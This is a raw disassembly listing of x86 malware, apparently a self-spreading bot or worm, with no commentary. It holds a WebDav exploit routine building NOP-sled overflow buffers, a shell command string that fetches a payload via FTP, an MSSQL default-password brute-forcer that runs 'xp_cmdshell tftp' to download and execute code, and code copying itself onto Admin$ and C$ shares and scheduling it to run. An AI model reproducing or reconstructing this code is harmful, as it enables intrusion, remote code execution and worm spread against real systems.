		push	12Ch
		call	ds:dword_420000	; Sleep
		sub	esp, 140h
		push	50h
		pop	ecx
		lea	esi, [ebp+arg_0]
		mov	edi, esp
		rep movsd
		call	sub_412FB5
		add	esp, 140h
		test	al, al
		setnz	al


loc_413500:				; CODE XREF: sub_4130F8+26Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4130F8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		lea	edi, [ebp-14h]
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+0Ch]
		xor	esi, esi
		push	eax
		mov	[ebp-4], esi
		mov	word ptr [ebp-14h], 2
		call	dword_43585C	; inet_addr
		push	dword ptr [ebp+12Ch]
		mov	[ebp-10h], eax
		call	dword_435934	; ntohs
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_4357E8	; socket
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jz	loc_413601
		push	10h
		lea	eax, [ebp-14h]
		push	eax
		push	ebx
		call	dword_4357A0	; connect
		cmp	eax, edi
		jz	loc_4135FA
		push	esi
		push	89h
		push	offset dword_42C7F0
		push	ebx
		call	dword_43587C	; send
		cmp	eax, edi
		jz	short loc_4135FA
		push	esi
		mov	esi, 640h
		push	esi
		lea	eax, [ebp-854h]
		push	eax
		push	ebx
		call	dword_43575C	; recv
		push	0
		push	0A8h
		push	offset dword_42C880
		push	ebx
		call	dword_43587C	; send
		cmp	eax, edi
		jz	short loc_4135FA
		push	0
		push	esi
		lea	eax, [ebp-854h]
		push	eax
		push	ebx
		call	dword_43575C	; recv
		push	0
		push	0DEh
		push	offset dword_42C930
		push	ebx
		call	dword_43587C	; send
		cmp	eax, edi
		jz	short loc_4135FA
		push	0
		push	esi
		lea	eax, [ebp-854h]
		push	eax
		push	ebx
		call	dword_43575C	; recv
		movsx	eax, byte ptr [ebp-810h]
		sub	eax, 30h
		jz	short loc_41360C
		dec	eax
		jz	short loc_413608


loc_4135FA:				; CODE XREF: .text:0041356Aj
					; .text:00413584j ...
		push	ebx
		call	dword_4358F4	; closesocket


loc_413601:				; CODE XREF: .text:00413555j
		xor	eax, eax
		jmp	loc_4136CE
; ---------------------------------------------------------------------------


loc_413608:				; CODE XREF: .text:004135F8j
		push	0
		jmp	short loc_413630
; ---------------------------------------------------------------------------


loc_41360C:				; CODE XREF: .text:004135F5j
		push	2
		push	ebx
		sub	esp, 140h
		push	50h
		pop	ecx
		lea	esi, [ebp+8]
		mov	edi, esp
		rep movsd
		call	sub_4130F8
		add	esp, 148h
		test	al, al
		jnz	short loc_413650
		push	1


loc_413630:				; CODE XREF: .text:0041360Aj
		push	ebx
		sub	esp, 140h
		push	50h
		pop	ecx
		lea	esi, [ebp+8]
		mov	edi, esp
		rep movsd
		call	sub_4130F8
		add	esp, 148h
		test	al, al
		jz	short loc_413657


loc_413650:				; CODE XREF: .text:0041362Cj
		mov	dword ptr [ebp-4], 1


loc_413657:				; CODE XREF: .text:0041364Ej
		push	ebx
		call	dword_4358F4	; closesocket
		cmp	dword ptr [ebp-4], 0
		jz	short loc_4136CB
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+134h]
		imul	eax, 3Ch
		add	eax, offset aWebdav_0 ;	"WebDav"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-214h]
		push	200h
		push	eax
		call	sub_41483D
		push	0
		push	dword ptr [ebp+13Ch]
		lea	eax, [ebp-214h]
		push	eax
		lea	eax, [ebp+0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4056FB
		lea	eax, [ebp-214h]
		push	eax
		call	sub_401EFF
		mov	eax, [ebp+134h]
		imul	eax, 3Ch
		lea	eax, dword_42B070[eax]
		add	esp, 2Ch
		inc	dword ptr [eax]


loc_4136CB:				; CODE XREF: .text:00413662j
		xor	eax, eax
		inc	eax


loc_4136CE:				; CODE XREF: .text:00413603j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 8590h
		call	sub_414800
		mov	eax, ds:dword_428B9C
		push	ebx
		push	esi
		mov	[ebp-0Ch], eax
		mov	eax, ds:dword_428BA0
		push	edi
		mov	[ebp-8], eax
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		call	sub_4039C6
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_413CBE
		cmp	eax, 1
		jz	loc_413CBE
		cmp	eax, 3
		jnz	short loc_41371C
		and	dword ptr [ebp-10h], 0
		jmp	short loc_413730
; ---------------------------------------------------------------------------


loc_41371C:				; CODE XREF: .text:00413714j
		call	sub_4147A1
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	edx, edx
		inc	edx
		inc	edx
		mov	[ebp-10h], edx


loc_413730:				; CODE XREF: .text:0041371Aj
		lea	eax, [ebp+0Ch]
		push	eax
		push	offset aSIpc	; "\\\\%s\\ipc$"
		lea	eax, [ebp-58h]
		push	28h
		push	eax
		call	sub_41483D
		add	esp, 10h
		xor	eax, eax


loc_413749:				; CODE XREF: .text:00413760j
		mov	cl, [ebp+eax-58h]
		and	byte ptr [ebp+eax*2-11Fh], 0
		mov	[ebp+eax*2-120h], cl
		inc	eax
		cmp	eax, 28h
		jl	short loc_413749
		push	18h
		pop	ecx
		mov	esi, offset dword_42D2C8
		lea	edi, [ebp-0D0h]
		lea	eax, [ebp-58h]
		rep movsd
		lea	edx, [eax+1]


loc_413778:				; CODE XREF: .text:0041377Dj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_413778
		sub	eax, edx
		mov	ecx, eax
		lea	esi, [ebp-120h]
		lea	edi, [ebp-0A0h]
		lea	eax, [ebp-58h]
		rep movsw
		lea	ecx, [eax+1]


loc_413798:				; CODE XREF: .text:0041379Dj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_413798
		sub	eax, ecx
		lea	edi, [ebp+eax*2-0A1h]
		mov	esi, (offset aC_5+3)
		movsd
		movsd
		lea	eax, [ebp-58h]
		movsb
		lea	ecx, [eax+1]


loc_4137B6:				; CODE XREF: .text:004137BBj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4137B6
		sub	eax, ecx
		add	al, 1Ah
		shl	al, 1
		mov	[ebp-1], al
		mov	[ebp-0CDh], al
		lea	eax, [ebp-58h]
		lea	ecx, [eax+1]


loc_4137D2:				; CODE XREF: .text:004137D7j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4137D2
		sub	eax, ecx
		shl	al, 1
		add	al, 9
		push	135h
		mov	[ebp-0A3h], al
		call	dword_435934	; ntohs
		mov	ebx, [ebp-10h]
		xor	eax, 9999h
		cmp	ebx, 1
		mov	word_42CFC0, ax
		jz	short loc_41387D
		cmp	ebx, 2
		jz	short loc_41387D
		mov	eax, 90909090h
		mov	ecx, 1F4h
		lea	edi, [ebp-12C4h]
		rep stosd
		mov	eax, offset loc_42CF10
		mov	ecx, eax
		lea	esi, [ecx+1]


loc_413824:				; CODE XREF: .text:00413829j
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jnz	short loc_413824
		sub	ecx, esi
		mov	esi, eax
		mov	eax, ecx
		shr	ecx, 2
		lea	edi, [ebp-1224h]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		lea	eax, [ebp-0Ch]
		rep movsb
		lea	ecx, [eax+1]


loc_413849:				; CODE XREF: .text:0041384Ej
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_413849
		sub	eax, ecx
		mov	ecx, eax
		shr	ecx, 2
		lea	esi, [ebp-0Ch]
		lea	edi, [ebp-0B08h]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		imul	ebx, 3Ch
		mov	eax, dword_42D708[ebx]
		rep movsb
		mov	[ebp-0B18h], eax
		jmp	loc_41394F
; ---------------------------------------------------------------------------


loc_41387D:				; CODE XREF: .text:00413801j
					; .text:00413806j
		imul	ebx, 3Ch
		mov	edx, dword_42D708[ebx]
		mov	eax, 90909090h
		mov	ecx, 36Bh
		lea	edi, [ebp-18A0h]
		rep stosd
		mov	eax, offset loc_42CF10
		mov	ecx, eax
		mov	[ebp-10BCh], edx
		lea	esi, [ecx+1]


loc_4138A8:				; CODE XREF: .text:004138ADj
		mov	bl, [ecx]
		inc	ecx
		test	bl, bl
		jnz	short loc_4138A8
		sub	ecx, esi
		mov	ebx, ecx
		shr	ecx, 2
		mov	esi, eax
		lea	edi, [ebp-10ACh]
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	ecx, eax
		mov	dword ptr [ebp-0D88h], 6EB06EBh
		mov	[ebp-0D84h], edx
		lea	esi, [ecx+1]


loc_4138DC:				; CODE XREF: .text:004138E1j
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jnz	short loc_4138DC
		sub	ecx, esi
		mov	esi, eax
		mov	eax, ecx
		shr	ecx, 2
		lea	edi, [ebp-0D78h]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		xor	eax, eax


loc_4138FD:				; CODE XREF: .text:00413919j
		mov	cl, [ebp+eax-18A0h]
		and	byte ptr [ebp+eax*2-43DFh], 0
		mov	[ebp+eax*2-43E0h], cl
		inc	eax
		cmp	eax, 0DACh
		jl	short loc_4138FD
		and	byte ptr [ebp-2888h], 0
		and	byte ptr [ebp-2887h], 0
		mov	edx, 714h
		mov	esi, 31313131h
		mov	ecx, edx
		mov	eax, esi
		lea	edi, [ebp-8590h]
		rep stosd
		stosw
		mov	ecx, edx
		mov	eax, esi
		lea	edi, [ebp-64B8h]
		rep stosd
		stosw


loc_41394F:				; CODE XREF: .text:00413878j
		mov	ecx, 38Ah
		mov	eax, 31313131h
		lea	edi, [ebp-2884h]
		rep stosd
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		stosb
		call	dword_4357E8	; socket
		mov	esi, eax
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp-8], esi
		jz	loc_413CC0
		push	dword ptr [ebp+12Ch]
		lea	edi, [ebp-30h]
		stosd
		stosd
		stosd
		stosd
		mov	word ptr [ebp-30h], 2
		call	dword_435934	; ntohs
		mov	[ebp-2Eh], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_43585C	; inet_addr
		mov	[ebp-2Ch], eax
		push	10h
		lea	eax, [ebp-30h]
		push	eax
		push	esi
		call	dword_4357A0	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_413CB7
		push	ebx
		push	89h
		push	offset dword_42D0A8
		push	esi
		call	dword_43587C	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_413CB7
		push	ebx
		mov	ebx, 640h
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_43575C	; recv
		xor	edi, edi
		push	edi
		push	0A8h
		push	offset dword_42D138
		push	esi
		call	dword_43587C	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_413CB7
		push	edi
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_43575C	; recv
		push	edi
		push	0DEh
		push	offset dword_42D1E8
		push	esi
		call	dword_43587C	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_413CB7
		push	edi
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_43575C	; recv
		movsx	eax, byte ptr [ebp-1]
		push	edi
		add	eax, 4
		push	eax
		lea	eax, [ebp-0D0h]
		push	eax
		push	esi
		call	dword_43587C	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_413CB7
		push	edi
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_43575C	; recv
		push	edi
		push	68h
		push	offset dword_42D330
		push	esi
		call	dword_43587C	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_413CB7
		push	edi
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_43575C	; recv
		push	edi
		push	0A0h
		push	offset dword_42D3A0
		push	esi
		call	dword_43587C	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_413CB7
		push	edi
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_43575C	; recv
		cmp	dword ptr [ebp-10h], 1
		jz	short loc_413B38
		cmp	dword ptr [ebp-10h], 2
		jz	short loc_413B38
		push	1Fh
		pop	ecx
		mov	esi, offset dword_42D448
		lea	edi, [ebp-2884h]
		rep movsd
		push	24h
		mov	ecx, 1F4h
		lea	esi, [ebp-12C4h]
		lea	edi, [ebp-2808h]
		rep movsd
		pop	ecx
		push	0
		push	0CF8h
		lea	eax, [ebp-2884h]
		mov	esi, offset off_42D4C8
		lea	edi, [ebp-2038h]
		push	eax
		push	dword ptr [ebp-8]
		rep movsd
		and	byte ptr [ebp-1B8Dh], 0


loc_413B21:				; CODE XREF: .text:00413BD2j
		call	dword_43587C	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_413BD7


loc_413B30:				; CODE XREF: .text:00413BFBj
		push	dword ptr [ebp-8]
		jmp	loc_413CB8
; ---------------------------------------------------------------------------


loc_413B38:				; CODE XREF: .text:00413ACEj
					; .text:00413AD4j
		push	1Ah
		pop	ecx
		mov	esi, offset dword_42D560
		lea	edi, [ebp-8590h]
		rep movsd
		mov	ecx, 6D6h
		lea	esi, [ebp-43E0h]
		lea	edi, [ebp-8528h]
		rep movsd
		movsw
		push	1Ch
		pop	ecx
		mov	esi, offset dword_42D5D0
		lea	edi, [ebp-64B8h]
		rep movsd
		mov	ecx, 297h
		lea	esi, [ebp-334Ch]
		lea	edi, [ebp-6448h]
		rep movsd
		push	21h
		movsw
		pop	ecx
		mov	esi, offset dword_42D648
		lea	edi, [ebp-5984h]
		rep movsd
		mov	esi, [ebp-8]
		xor	edi, edi
		push	edi
		push	10FCh
		lea	eax, [ebp-8590h]
		push	eax
		push	esi
		call	dword_43587C	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_413CB7
		push	edi
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_43575C	; recv
		push	edi
		push	0FDCh
		lea	eax, [ebp-64B8h]
		push	eax
		push	esi
		jmp	loc_413B21
; ---------------------------------------------------------------------------


loc_413BD7:				; CODE XREF: .text:00413B2Aj
		push	0
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	dword ptr [ebp-8]
		call	dword_43575C	; recv
		push	6
		push	1
		push	2
		call	dword_4357E8	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_413B30
		xor	eax, eax
		lea	edi, [ebp-20h]
		stosd
		stosd
		stosd
		stosd
		push	135h
		mov	word ptr [ebp-20h], 2
		call	dword_435934	; ntohs
		mov	[ebp-1Eh], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_43585C	; inet_addr
		mov	[ebp-1Ch], eax
		push	10h
		lea	eax, [ebp-20h]
		push	eax
		push	esi
		call	dword_4357A0	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413C43
		push	dword ptr [ebp-8]
		jmp	short loc_413CB1
; ---------------------------------------------------------------------------


loc_413C43:				; CODE XREF: .text:00413C3Cj
		xor	edi, edi
		push	edi
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_43575C	; recv
		test	eax, eax
		jle	short loc_413CBE
		push	1F4h
		call	ds:dword_420000	; Sleep
		push	dword ptr [ebp+9Ch]
		lea	eax, [ebp+1Ch]
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d>o&echo USER a>>o&echo	a"...
		lea	eax, [ebp-2B0h]
		push	190h
		push	eax
		call	sub_41483D
		lea	eax, [ebp-2B0h]
		add	esp, 14h
		lea	edx, [eax+1]


loc_413C90:				; CODE XREF: .text:00413C95j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_413C90
		push	edi
		sub	eax, edx
		push	eax
		lea	eax, [ebp-2B0h]
		push	eax
		push	esi
		call	dword_43587C	; send
		cmp	eax, 0FFFFFFFFh
		push	dword ptr [ebp-8]
		jnz	short loc_413CC5


loc_413CB1:				; CODE XREF: .text:00413C41j
		call	dword_4358F4	; closesocket


loc_413CB7:				; CODE XREF: .text:004139B9j
					; .text:004139D4j ...
		push	esi


loc_413CB8:				; CODE XREF: .text:00413B33j
		call	dword_4358F4	; closesocket


loc_413CBE:				; CODE XREF: .text:00413702j
					; .text:0041370Bj ...
		xor	eax, eax


loc_413CC0:				; CODE XREF: .text:00413979j
					; .text:00413D47j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_413CC5:				; CODE XREF: .text:00413CAFj
		call	dword_4358F4	; closesocket
		push	esi
		call	dword_4358F4	; closesocket
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+134h]
		imul	eax, 3Ch
		add	eax, offset aWebdav_0 ;	"WebDav"
		push	eax
		push	offset aSTryingToXploi ; "[%s]:	Trying to Xploit IP: %s."
		lea	eax, [ebp-4B0h]
		push	200h
		push	eax
		call	sub_41483D
		add	esp, 14h
		cmp	[ebp+140h], edi
		jnz	short loc_413D26
		push	edi
		push	dword ptr [ebp+13Ch]
		lea	eax, [ebp-4B0h]
		push	eax
		lea	eax, [ebp+0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4056FB
		add	esp, 14h


loc_413D26:				; CODE XREF: .text:00413D04j
		lea	eax, [ebp-4B0h]
		push	eax
		call	sub_401EFF
		mov	eax, [ebp+134h]
		imul	eax, 3Ch
		lea	eax, dword_42B070[eax]
		inc	dword ptr [eax]
		xor	eax, eax
		pop	ecx
		inc	eax
		jmp	loc_413CC0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0E30h
		push	ebx
		xor	ebx, ebx
		lea	eax, [ebp-14h]
		push	eax
		push	ebx
		push	1
		mov	[ebp-1], bl
		mov	dword ptr [ebp-30h], offset aSa	; "sa"
		mov	dword ptr [ebp-2Ch], offset aRoot ; "root"
		mov	dword ptr [ebp-28h], offset aAdmin ; "admin"
		mov	[ebp-24h], ebx
		mov	[ebp-1Ch], ebx
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], ebx
		call	dword_43580C
		test	ax, ax
		jnz	short loc_413DA5
		push	0FFFFFFFAh
		push	3
		push	0C8h
		push	dword ptr [ebp-14h]
		call	dword_4357A4
		test	ax, ax
		jz	short loc_413DAC


loc_413DA5:				; CODE XREF: .text:00413D8Cj
		xor	eax, eax
		jmp	loc_413FFA
; ---------------------------------------------------------------------------


loc_413DAC:				; CODE XREF: .text:00413DA3j
		push	esi
		lea	eax, [ebp-0Ch]
		push	eax
		push	dword ptr [ebp-14h]
		push	2
		call	dword_43580C
		test	ax, ax
		jz	short loc_413DC8
		xor	esi, esi
		jmp	loc_413FEC
; ---------------------------------------------------------------------------


loc_413DC8:				; CODE XREF: .text:00413DBFj
		lea	eax, [ebp-30h]
		push	edi
		mov	edi, ds:dword_420000
		mov	[ebp-8], eax


loc_413DD5:				; CODE XREF: .text:00413FDAj
		cmp	dword_42C0C8, ebx
		mov	[ebp-18h], ebx
		jz	loc_413FC9
		mov	eax, offset dword_42C0C8
		mov	esi, eax


loc_413DEB:				; CODE XREF: .text:00413E65j
		lea	ecx, [ebp-1]
		push	ecx
		push	dword ptr [eax]
		mov	eax, [ebp-8]
		push	dword ptr [eax]
		lea	eax, [ebp+0Ch]
		push	dword ptr [ebp+12Ch]
		push	eax
		lea	eax, [ebp-0A30h]
		push	offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
		push	eax
		call	sub_4145E5
		lea	eax, [ebp-0A30h]
		add	esp, 1Ch
		lea	ecx, [eax+1]


loc_413E1D:				; CODE XREF: .text:00413E22j
		mov	dl, [eax]
		inc	eax
		cmp	dl, bl
		jnz	short loc_413E1D
		push	ebx
		sub	eax, ecx
		lea	ecx, [ebp-20h]
		push	ecx
		push	400h
		lea	ecx, [ebp-0E30h]
		push	ecx
		push	eax
		lea	eax, [ebp-0A30h]
		push	eax
		push	ebx
		push	dword ptr [ebp-0Ch]
		call	dword_4358D4
		cmp	ax, bx
		jz	short loc_413E6C
		cmp	ax, 1
		jz	short loc_413E6C
		push	1F4h
		call	edi	; Sleep
		inc	dword ptr [ebp-18h]
		add	esi, 4
		cmp	[esi], ebx
		mov	eax, esi
		jnz	short loc_413DEB
		jmp	loc_413FC9
; ---------------------------------------------------------------------------


loc_413E6C:				; CODE XREF: .text:00413E4Cj
					; .text:00413E52j
		lea	eax, [ebp-10h]
		push	eax
		push	dword ptr [ebp-0Ch]
		push	3
		call	dword_43580C
		mov	esi, offset byte_42BF44
		push	esi
		push	dword ptr [ebp+8]
		call	sub_407D51
		pop	ecx
		push	eax
		lea	eax, [ebp-630h]
		push	offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'tftp -i %s GE"...
		push	eax
		call	sub_4145E5
		add	esp, 10h
		push	0FFFFFFFDh
		lea	eax, [ebp-630h]
		push	eax
		push	dword ptr [ebp-10h]
		call	dword_4358EC
		test	ax, ax
		jz	loc_413FB5
		push	1388h
		call	edi	; Sleep
		push	esi
		lea	eax, [ebp-630h]
		push	offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
		push	eax
		call	sub_4145E5
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-230h]
		push	offset aTftpFileTran_1 ; "[TFTP]: File transfer	complete to IP:	%"...
		push	eax
		call	sub_4145E5
		add	esp, 18h
		xor	esi, esi


loc_413EED:				; CODE XREF: .text:00413F20j
		lea	eax, [ebp-230h]
		push	eax
		call	sub_401FDF
		test	eax, eax
		pop	ecx
		jz	short loc_413F15
		push	0FFFFFFFDh
		lea	eax, [ebp-630h]
		push	eax
		push	dword ptr [ebp-10h]
		call	dword_4358EC
		test	ax, ax
		jz	short loc_413F27


loc_413F15:				; CODE XREF: .text:00413EFCj
		push	1388h
		call	edi	; Sleep
		inc	esi
		cmp	esi, 6
		jl	short loc_413EED
		jmp	loc_413FB5
; ---------------------------------------------------------------------------


loc_413F27:				; CODE XREF: .text:00413F13j
		mov	eax, [ebp-18h]
		push	dword_42C0C8[eax*4]
		mov	eax, [ebp-8]
		push	dword ptr [eax]
		lea	eax, [ebp+0Ch]
		push	dword ptr [ebp+12Ch]
		mov	dword ptr [ebp-1Ch], 1
		push	eax
		mov	eax, [ebp+134h]
		imul	eax, 3Ch
		add	eax, offset aWebdav_0 ;	"WebDav"
		push	eax
		push	offset aSExploitingI_0 ; "[%s]:	Exploiting IP: (%s:%d) User: (%s/"...
		lea	eax, [ebp-230h]
		push	200h
		push	eax
		call	sub_41483D
		add	esp, 20h
		cmp	[ebp+140h], ebx
		jnz	short loc_413F97
		push	ebx
		push	dword ptr [ebp+13Ch]
		lea	eax, [ebp-230h]
		push	eax
		lea	eax, [ebp+0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4056FB
		add	esp, 14h


loc_413F97:				; CODE XREF: .text:00413F75j
		lea	eax, [ebp-230h]
		push	eax
		call	sub_401EFF
		mov	eax, [ebp+134h]
		imul	eax, 3Ch
		lea	eax, dword_42B070[eax]
		inc	dword ptr [eax]
		pop	ecx


loc_413FB5:				; CODE XREF: .text:00413EB4j
					; .text:00413F22j
		push	dword ptr [ebp-0Ch]
		call	dword_4357B0
		push	dword ptr [ebp-10h]
		push	3
		call	dword_435898


loc_413FC9:				; CODE XREF: .text:00413DDEj
					; .text:00413E67j
		mov	esi, [ebp-1Ch]
		cmp	esi, 1
		jz	short loc_413FE0
		add	dword ptr [ebp-8], 4
		mov	eax, [ebp-8]
		cmp	[eax], ebx
		jnz	loc_413DD5


loc_413FE0:				; CODE XREF: .text:00413FCFj
		push	dword ptr [ebp-0Ch]
		push	2
		call	dword_435898
		pop	edi


loc_413FEC:				; CODE XREF: .text:00413DC3j
		push	dword ptr [ebp-14h]
		push	1
		call	dword_435898
		mov	eax, esi
		pop	esi


loc_413FFA:				; CODE XREF: .text:00413DA7j
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413FFD	proc near		; CODE XREF: sub_414279+37p

var_6F0		= byte ptr -6F0h
var_4E8		= byte ptr -4E8h
var_2E8		= byte ptr -2E8h
var_15D		= byte ptr -15Dh
var_158		= byte ptr -158h
var_54		= byte ptr -54h
var_50		= dword	ptr -50h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_A4		= byte ptr  0ACh
arg_138		= dword	ptr  140h
arg_140		= dword	ptr  148h
arg_144		= dword	ptr  14Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 6F0h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		push	8
		pop	ecx
		xor	ebx, ebx
		push	ebx
		push	[ebp+arg_0]
		xor	eax, eax
		push	[ebp+arg_4]
		lea	edi, [ebp+var_54]
		rep stosd
		lea	eax, [ebp+var_54]
		push	eax
		mov	[ebp+var_40], esi
		mov	[ebp+var_50], 1
		mov	[ebp+var_44], ebx
		mov	[ebp+var_38], ebx
		call	dword_435888
		test	eax, eax
		jz	short loc_41404A
		push	0Ah
		call	ds:dword_420000	; Sleep
		jmp	loc_414265
; ---------------------------------------------------------------------------


loc_41404A:				; CODE XREF: sub_413FFD+3Ej
		push	190h
		lea	eax, [ebp+var_2E8]
		push	eax
		push	0FFFFFFFFh
		push	esi
		push	ebx
		push	ebx
		mov	[ebp+var_20], offset aAdminSystem32 ; "Admin$\\system32"
		mov	[ebp+var_1C], offset aCWinntSystem32 ; "c$\\winnt\\system32"
		mov	[ebp+var_18], offset aCWindowsSystem ; "c$\\windows\\system32"
		mov	[ebp+var_14], offset aC	; "c"
		mov	[ebp+var_10], offset aD	; "d"
		mov	[ebp+var_8], ebx
		call	ds:dword_4200D4	; MultiByteToWideChar
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		call	dword_435764
		test	eax, eax
		jnz	loc_414262
		cmp	[ebp+var_8], ebx
		jz	loc_414262
		mov	edi, ds:dword_4200FC
		mov	[ebp+var_4], ebx
		mov	esi, offset byte_42BF44


loc_4140B7:				; CODE XREF: sub_413FFD+14Fj
		mov	eax, [ebp+var_4]
		push	esi
		push	[ebp+eax*4+var_20]
		lea	eax, [ebp+var_158]
		push	[ebp+arg_8]
		push	offset aSSS_3	; "%s\\%s\\%s"
		push	eax
		call	sub_4145E5
		add	esp, 14h
		push	ebx
		lea	eax, [ebp+var_158]
		push	eax
		push	esi
		call	edi	; CopyFileA
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jnz	short loc_414165
		call	ds:dword_420008	; RtlGetLastWin32Error
		cmp	eax, 5
		jnz	short loc_414145
		lea	eax, [ebp+var_158]
		push	ebx
		push	eax
		call	sub_414F14
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_414145
		lea	eax, [ebp+var_158]
		lea	edx, [eax+1]


loc_41410F:				; CODE XREF: sub_413FFD+117j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_41410F
		sub	eax, edx
		mov	[ebp+var_C], eax
		call	sub_4147A1
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_C]
		push	ebx
		add	dl, 30h
		mov	[ebp+eax+var_15D], dl
		lea	eax, [ebp+var_158]
		push	eax
		push	esi
		call	edi	; CopyFileA
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jnz	short loc_414165


loc_414145:				; CODE XREF: sub_413FFD+F4j
					; sub_413FFD+107j
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 5
		jb	loc_4140B7
		cmp	[ebp+var_C], ebx
		jnz	short loc_414165
		push	[ebp+var_8]
		call	dword_435820
		jmp	loc_414265
; ---------------------------------------------------------------------------


loc_414165:				; CODE XREF: sub_413FFD+E9j
					; sub_413FFD+146j ...
		mov	ecx, [ebp+var_8]
		mov	eax, [ecx]
		push	3Ch
		pop	edi
		xor	edx, edx
		div	edi
		xor	edx, edx
		lea	edi, [ebp+var_34]
		push	208h
		sub	eax, [ecx+18h]
		mov	ecx, 5A0h
		inc	eax
		inc	eax
		div	ecx
		xor	eax, eax
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+var_6F0]
		push	eax
		push	0FFFFFFFFh
		push	esi
		push	ebx
		push	ebx
		imul	edx, 0EA60h
		mov	[ebp+var_34], edx
		call	ds:dword_4200D4	; MultiByteToWideChar
		lea	eax, [ebp+var_6F0]
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		call	dword_43579C
		test	eax, eax
		jnz	loc_414262
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		inc	ecx
		mov	edi, 420AEAh
		mov	esi, eax
		xor	edx, edx
		repe cmpsb
